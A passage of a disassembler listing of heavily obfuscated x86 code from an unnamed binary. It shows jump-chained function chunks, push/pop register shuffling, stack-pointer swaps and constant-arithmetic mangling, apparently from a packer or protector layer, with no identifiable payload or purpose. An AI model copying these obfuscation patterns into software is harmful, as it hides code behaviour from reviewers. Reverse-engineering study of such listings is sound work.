; END OF FUNCTION CHUNK	FOR sub_59FE51
; ---------------------------------------------------------------------------


loc_5A6E44:				; CODE XREF: sdfs____:005A7D2Ej
		add	esi, 5B021489h
		sub	eax, esi
		jmp	loc_5A2886
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5A6E51:				; CODE XREF: sub_5A9D64+2752j
		mov	esi, 50812D37h
		and	eax, esi
		push	dword ptr [esp+0]
		pop	esi
		jmp	sub_5A6649
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5A6E61:				; CODE XREF: sub_5A522E+8701j
					; sub_5AA2D1:loc_5AED6Dj
		inc	ebx
		push	esi
		mov	esi, 17D9049Eh
		jmp	loc_5A621F
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5A6E6D:				; CODE XREF: sub_5AD993-F9ABj
		xor	[esp-14h+arg_10], ecx
		xor	ecx, [esp-14h+arg_10]
		pop	esp
		push	7E96h
		mov	[esp-14h+arg_10], ebp
		push	ecx
		sub	esp, 4
		mov	[esp-0Ch+arg_8], eax
		jmp	loc_59A58B
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_5A6E8B:				; CODE XREF: sub_5A3992+6D22j
		add	eax, 4
		jmp	loc_5A4297
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB593


loc_5A6E95:				; CODE XREF: sub_5AB593+2j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AB593
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A6E9A:				; CODE XREF: sub_5992DA+DD28j
		jg	loc_5AC461
		jmp	loc_5A772A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
		push	esp
		pop	ebx
		mov	bh, 2
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6EAA:				; CODE XREF: sub_5AA2D1-123Ej
		add	ecx, 464903D9h
		pop	eax
		sub	esp, 4
		mov	[esp-24h+arg_20], ebp
		push	ecx
		pop	ebp
		mov	ebx, ebp
		jmp	loc_59B1F5
; ---------------------------------------------------------------------------


loc_5A6EC3:				; CODE XREF: sub_5AA2D1-D7AFj
		shl	eax, 4
		add	eax, 3EAB6A31h
		sub	eax, 9CFEB353h
		add	esi, eax
		jmp	loc_5A7C75
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5824


loc_5A6ED7:				; CODE XREF: sub_5A5824-B173j
		add	ecx, 9B308676h
		sub	esp, 4
		jmp	loc_5A3BE5
; END OF FUNCTION CHUNK	FOR sub_5A5824

; =============== S U B	R O U T	I N E =======================================



sub_5A6EE8	proc near		; CODE XREF: sub_5AA2D1-6FB7j
					; sub_5992DA+E14Bj

; FUNCTION CHUNK AT 005A371C SIZE 00000020 BYTES

		push	ebp
		mov	ebp, 13A310A1h
		sub	ebp, 3496706Ch
		sub	ebp, 0DF0CA031h
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		jmp	loc_5A371C
sub_5A6EE8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A6F05:				; CODE XREF: sub_59C979+9EB7j
		shl	edi, 6
		jmp	loc_5AC006
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A6F0D:				; CODE XREF: sub_5992DA+9D27j
		or	edx, eax
		shl	edx, 1
		push	5944h
		mov	[esp+10h+var_10], ebx
		jmp	loc_5A6CA3
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6F1E:				; CODE XREF: sub_5AA2D1-97BBj
		xchg	ebp, ebx
		jmp	loc_5A2F1A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6F25:				; CODE XREF: sub_59D6B8-34FEj
		add	esi, eax
		sub	esi, 625D6A98h
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		add	esi, 2
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		jmp	loc_5A8A64
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B95E


loc_5A6F44:				; CODE XREF: sub_59B95E+11C73j
		sub	esi, 2E500F7Eh
		sub	esi, 51DD7443h
		push	esi
		not	[esp+0Ch+var_C]
		jmp	loc_5A6FDC
; END OF FUNCTION CHUNK	FOR sub_59B95E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4E8


loc_5A6F59:				; CODE XREF: sub_59A4E8+9C9j
		mov	eax, edx
		jmp	loc_5A74E4
; END OF FUNCTION CHUNK	FOR sub_59A4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA52F


loc_5A6F60:				; CODE XREF: sub_5AA52F-DB6Ej
		mov	word ptr [esp+4+var_4],	dx
		jmp	loc_5A8F82
; END OF FUNCTION CHUNK	FOR sub_5AA52F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6F69:				; CODE XREF: sub_59D6B8+1119Cj
		push	[esp+14h+var_14]
		pop	ecx
		add	esp, 4
		push	eax
		jmp	loc_5ADDAD
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A6F79:				; CODE XREF: sub_5A477C+9D9Ej
		add	edx, ecx
		pop	ecx
		sub	edx, ecx
		push	esi
		push	eax
		push	5D02387Fh
		pop	eax
		or	eax, 1EB91374h
		jno	loc_59D9D2
		shr	eax, 5
		jmp	loc_59D008
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
		mov	ch, 0E9h
		push	edi

; =============== S U B	R O U T	I N E =======================================



sub_5A6F9C	proc near		; CODE XREF: sub_5A63DC-4FC4j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BFED SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A4610 SIZE 00000014 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	esp
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5A4610
sub_5A6F9C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A633D


loc_5A6FB7:				; CODE XREF: sub_5A633D+6DB9j
		pop	ebp
		sub	edx, eax
		jmp	loc_5A3AF5
; END OF FUNCTION CHUNK	FOR sub_5A633D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5A6FBF:				; CODE XREF: sub_5AF294-6ECFj
		push	[esp-8+arg_4]
		pop	ebx
		add	esp, 4
		xchg	esi, [esp-0Ch+arg_8]
		pop	esp
		jmp	loc_5A829E
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6FD2:				; CODE XREF: sub_59D6B8+6427j
		pop	esp
		rol	[esp-0Ch+arg_8], cl
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B95E


loc_5A6FDC:				; CODE XREF: sub_59B95E+B5F6j
		pop	esi
		add	esi, 13C37E99h
		push	edx
		mov	edx, 4EE866DAh
		push	ebp
		mov	ebp, 1ED454E5h
		xor	ebp, 0CA2D0B89h
		jmp	loc_59AD45
; END OF FUNCTION CHUNK	FOR sub_59B95E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A6FFA:				; CODE XREF: sub_5992DA+15DB3j
		mov	al, bh
		pop	ebx
		push	ecx
		mov	ch, 6Eh
		dec	ch
		jmp	loc_5A6E9A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A54C9


loc_5A7007:				; CODE XREF: sub_5A54C9+35EAj
		push	eax
		jmp	loc_59B9D9
; END OF FUNCTION CHUNK	FOR sub_5A54C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A700D:				; CODE XREF: sub_59D6B8+D17Fj
		pop	ecx
		jmp	loc_5A7260
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A7013:				; CODE XREF: sub_59C979+11Ej
		pop	edx
		mov	eax, esi
		jmp	loc_5A3799
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A701B:				; CODE XREF: sub_59EE3E+4D7Cj
		jo	loc_599999
		neg	edx
		jmp	loc_5AA6C6
; END OF FUNCTION CHUNK	FOR sub_59EE3E

; =============== S U B	R O U T	I N E =======================================



sub_5A7028	proc near		; CODE XREF: sub_5992DA+BEBAj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A24A3 SIZE 00000013 BYTES

		push	ebx
		jmp	loc_5A24A3
sub_5A7028	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5A702E:				; CODE XREF: sub_59FC02+C9ABj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+4+var_4]
		jmp	loc_59B470
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A7044:				; CODE XREF: sub_59EE3E-4711j
		add	ebx, esi
		jmp	loc_5A8D0C
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A704B:				; CODE XREF: sub_5AA2D1-3C45j
		dec	edi
		or	edi, 5D75204Fh
		jmp	loc_5A1E55
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A7057:				; CODE XREF: sdfs____:005A3B25j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	440Eh
		mov	[esp], ecx
		pop	dword ptr [eax]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A7070:				; CODE XREF: sdfs____:005A0494j
		pop	esp
		dec	bh
		push	5478h
		mov	[esp], ecx
		push	edx
		mov	dh, 0E6h
		mov	cl, dh
		jmp	loc_5AB61C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A7085:				; CODE XREF: sub_5992DA+6910j
		mov	ecx, 5D220316h
		sub	edx, ecx
		pop	ecx
		jmp	loc_59C98E
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAAD5


loc_5A7092:				; CODE XREF: sub_5AAAD5-305Aj
		not	eax
		jmp	sub_5AC7C6
; END OF FUNCTION CHUNK	FOR sub_5AAAD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7099:				; CODE XREF: sub_5AA2D1-C86Ej
		and	eax, 7FD617DAh
		inc	eax
		sub	eax, 3A73554Dh
		sub	eax, 3D4C5723h
		add	edi, eax
		pop	eax
		add	edi, ecx
		sub	esp, 4
		mov	[esp-0Ch+arg_8], eax
		jmp	loc_59B683
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A70B9:				; CODE XREF: sub_5A477C-407j
		push	[esp-10h+arg_C]
		mov	eax, [esp-0Ch+arg_8]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp-8+arg_4]
		xor	[esp-8+arg_4], eax
		xor	eax, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		push	25FCh
		mov	[esp-4+arg_0], edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_59B534
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5A70EA:				; CODE XREF: sub_5AF2D9-11D2Fj
		mov	dx, word ptr [esp+0Ch+var_C]
		add	esp, 2
		push	eax
		mov	ah, 0EFh
		xor	cl, ah
		pop	eax
		jmp	loc_5AA341
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BAD3


loc_5A70FF:				; CODE XREF: sub_59BAD3+9B94j
		add	esp, 4
		neg	edx
		push	ebp
		jmp	sub_59982C
; END OF FUNCTION CHUNK	FOR sub_59BAD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A710A:				; CODE XREF: sub_5ADD33+1BC7j
		add	edx, 4
		push	ebx
		mov	ebx, 4
		push	ebp
		mov	ebp, 207443CAh
		sub	edx, ebp
		jmp	loc_5A8DFF
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7123:				; CODE XREF: sub_5AA2D1+4CFFj
		add	esi, eax
		jmp	loc_5AF3D3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A712A:				; CODE XREF: sub_59C979+8D62j
					; sub_5AB7CD+Cj
		push	small 4DDBh
		mov	word ptr [esp+4+var_6+2], dx
		xor	word ptr [esp+4+var_6+2], dx
		jmp	loc_59CDD3
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A713B:				; CODE XREF: sub_5AA2D1+313Bj
		xor	edi, 2BFA0E5Eh
		xchg	eax, edi
		not	eax
		jmp	loc_5A26DC
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A7149:				; CODE XREF: sub_59EE3E+E609j
		mov	[esp+4+var_4], eax
		push	2DFAh
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xor	eax, [esp+4+var_4]
		jmp	loc_5A3F26
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A716F:				; CODE XREF: sub_5AA2D1-EBEEj
		pop	ebp
		jmp	loc_5ACC40
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A7175:				; CODE XREF: sdfs____:005AB6AEj
		sub	esp, 4
		mov	[esp], ebx
		push	5A30h
		mov	[esp], eax
		push	45D828CBh
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_5A35BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF6AC


loc_5A7191:				; CODE XREF: sub_5AF6AC+6j
		pop	ebx
		add	ebx, 6F52624Eh
		jl	loc_5AF563
		jmp	loc_59D692
; END OF FUNCTION CHUNK	FOR sub_5AF6AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_5A71A3:				; CODE XREF: sub_5AD243-4E85j
		mov	esp, [esp-0Ch+arg_8]
		mov	cx, word ptr [esp-0Ch+arg_8]
		sub	esp, 4
		mov	[esp-8+arg_4], ebp
		push	460Fh
		jmp	loc_5AA68B
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A71BA:				; CODE XREF: sub_5992DA+9137j
		sub	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_5A1F0A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A71C6:				; CODE XREF: sub_5AA2D1-2B01j
		add	ch, al
		jmp	loc_5ADB20
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A71CD:				; CODE XREF: sub_5A6BBC+9290j
		push	7286h
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		xor	ebp, esi
		jmp	loc_5AB37E
; END OF FUNCTION CHUNK	FOR sub_5A6BBC

; =============== S U B	R O U T	I N E =======================================



sub_5A71F0	proc near		; CODE XREF: sub_5992DA+44BCj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059F133 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1E0B SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esi
		mov	ecx, ebp
		pop	ebp
		mov	esi, [esp+0]
		add	esp, 4
		xor	ecx, 589E0620h
		add	ecx, edi
		push	eax
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 0
		mov	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_59F133
sub_5A71F0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5824


loc_5A721C:				; CODE XREF: sub_5A5824+62C7j
		mov	[esp+4+var_4], esi
		pop	ebp
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_59FDB8
; END OF FUNCTION CHUNK	FOR sub_5A5824
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5A722B:				; CODE XREF: sub_599A61+50ECj
		xor	edx, 0FF60F386h
		neg	edx
		jmp	loc_5A4F84
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A7238:				; CODE XREF: sub_5992DA+B8D3j
		xor	edi, 9E340BF3h
		or	esi, edi
		pop	edi
		add	esi, 7A5120C9h
		xor	esi, 4E17437h
		sub	esi, 0BECEE8FBh
		add	ebx, 19694A8Bh
		add	ebx, esi
		jmp	loc_5A7470
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A7260:				; CODE XREF: sub_59D6B8+9956j
		mov	esi, edi
		pop	edi
		sub	ebx, 712E53F6h
		sub	ebx, esi
		add	ebx, 712E53F6h
		pop	esi
		xchg	ebx, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		jmp	loc_5A7CC4
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------


loc_5A727D:				; DATA XREF: sdfs____:00598E3Co
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		push	edx
		mov	edx, 29BA10ACh
		mov	eax, 59BC331Bh
		sub	eax, edx
		jmp	loc_5AA087
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5A729F:				; CODE XREF: sub_599D0E+885Fj
		mov	edx, esi
		pop	esi
		push	0F22h
		mov	[esp-4+arg_0], edi
		mov	edi, 89FFBA72h
		add	edx, edi
		pop	edi
		sub	esi, edx
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		push	esi
		push	[esp-8+arg_8]
		pop	esi
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		jmp	loc_5A8FD8
; END OF FUNCTION CHUNK	FOR sub_599D0E

; =============== S U B	R O U T	I N E =======================================



sub_5A72CB	proc near		; CODE XREF: sub_59D6C3+F31Dj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059C6A3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C78D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A0CE1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A123F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2183 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A267D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A58F1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AA984 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005ABC3B SIZE 00000013 BYTES

		push	ebp
		mov	ebp, 653369DEh
		push	ebx
		mov	ebx, 547B6386h
		add	ebx, 2A6CF055h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_5A267D
sub_5A72CB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A72E5:				; CODE XREF: sub_5A2E28-6344j
		sub	dword ptr [esp+8], 3704DB1h
		pop	ecx
		pop	edi
		pop	esi
		push	3166h
		mov	[esp+0], ecx
		mov	ecx, 24h
		jmp	sub_599A61
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	27C0h
		mov	[esp], ebp
		jmp	sub_59BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A731C:				; CODE XREF: sub_59C979+95Aj
		pop	eax
		jmp	loc_5ABF8D
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7322:				; CODE XREF: sub_5AA2D1+2974j
		add	eax, 1
		push	edi
		jmp	loc_5AFDFD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A732D:				; CODE XREF: sub_5A2E28-55D3j
		and	ebp, 6F3219FCh
		jl	loc_5ACA85
		sub	ebp, 0A020FFCh
		add	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_5ACF3A
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5A734D:				; CODE XREF: sub_5AC18D+1E0Fj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_5AF17B
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A7361:				; CODE XREF: sub_5B01F7-B7FEj
		mov	edi, 4
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		sub	esp, 4
		jmp	loc_5A4109
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5A737A:				; CODE XREF: sub_5ABEF6+1015j
		add	ebx, eax
		jmp	loc_5A5783
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7381:				; CODE XREF: sub_5AA2D1-F874j
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_59C7AE
; ---------------------------------------------------------------------------


loc_5A738E:				; CODE XREF: sub_5AA2D1-B4F6j
		pop	edi
		push	eax
		mov	eax, 75B40B1Ah
		push	esi
		jmp	loc_5AB772
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5A739B:				; CODE XREF: sub_5A522E+10j
		pop	[esp+0Ch+var_C]
		add	[esp+8+var_8], 4
		mov	eax, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5AA4B9
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A86D0


loc_5A73AD:				; CODE XREF: sub_5A86D0-86B6j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		jmp	loc_59D80C
; END OF FUNCTION CHUNK	FOR sub_5A86D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2D1


loc_5A73BB:				; CODE XREF: sub_59F2D1+13j
		push	782Ch
		mov	[esp+10h+var_10], edi
		push	133A4364h
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		xor	edi, 133A4360h
		push	edi
		add	[esp+14h+var_14], 351D25E0h
		jmp	loc_599689
; END OF FUNCTION CHUNK	FOR sub_59F2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_5A73E4:				; CODE XREF: sub_5A9B1D+15j
		push	edx
		push	176C02E2h
		pop	edx
		sub	edx, 7965200Ah
		jb	loc_5AC432
		neg	edx
		ja	loc_5A5674
		mov	ah, al
		pop	edx
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A7402:				; CODE XREF: sub_59D6B8+59j
		mov	eax, edi
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		jmp	loc_5AAC2A
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A740F:				; CODE XREF: sub_5992DA+F2B4j
		push	5163h
		mov	[esp+0Ah+var_C+2], ebx
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], esp
		add	[esp+0Eh+var_10+2], 4
		pop	ebx
		jmp	sub_5A6EE8
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


loc_5A742A:				; CODE XREF: sub_59F1C3+6F97j
		mov	eax, 6A236F14h
		push	edx
		mov	edx, 554B3D07h
		push	esi
		jmp	loc_59D9B2
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A743B:				; CODE XREF: sub_59CBE1+35Cj
		sub	eax, 0B3634CAh
		jo	sub_5997FD
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, 2A8E4355h
		jmp	loc_59B652
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A7456:				; CODE XREF: sub_5992DA+13070j
		mov	eax, 6B7D2C14h
		jmp	loc_59A829
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_5A7460:				; CODE XREF: sdfs____:005A1BD8j
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_5AA636
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A7470:				; CODE XREF: sub_5992DA+DF81j
		sub	ebx, 19694A8Bh
		jmp	loc_59EE1A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A747B:				; CODE XREF: sub_5AA2D1+252Dj
		add	[esp+0Ch+var_C], 447C2E2Dh
		sub	esp, 4
		mov	[esp+10h+var_10], ecx
		push	ebx
		mov	ebx, 0F1B6B39h
		push	ebx
		pop	ecx
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		add	[esp+10h+var_C], ecx
		push	[esp+10h+var_10]
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		add	esp, 4
		pop	ecx
		shr	ecx, 7
		and	ecx, 28F47339h
		and	ecx, 532D4388h
		jmp	loc_5AA4D8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A74C1:				; CODE XREF: sub_5A9EBF-FA4Bj
		pop	esi
		sub	ecx, 7DCD3F2Fh
		add	ecx, ebp
		add	ecx, 7DCD3F2Fh
		push	edx
		jmp	loc_5A2F4E
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A74D6:				; CODE XREF: sub_5A2E41-8AC5j
					; sdfs____:005A587Fj
		push	ecx
		mov	cl, 0B0h
		and	cl, 0A3h
		add	cl, 0C5h
		jmp	loc_59F579
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4E8


loc_5A74E4:				; CODE XREF: sub_59A4E8+CA73j
		pop	edx
		pop	edi
		inc	eax
		jmp	loc_59B291
; END OF FUNCTION CHUNK	FOR sub_59A4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5A74EC:				; CODE XREF: sub_5A9D64-F18Ej
					; sub_5AB762-182j
		sub	esi, 4
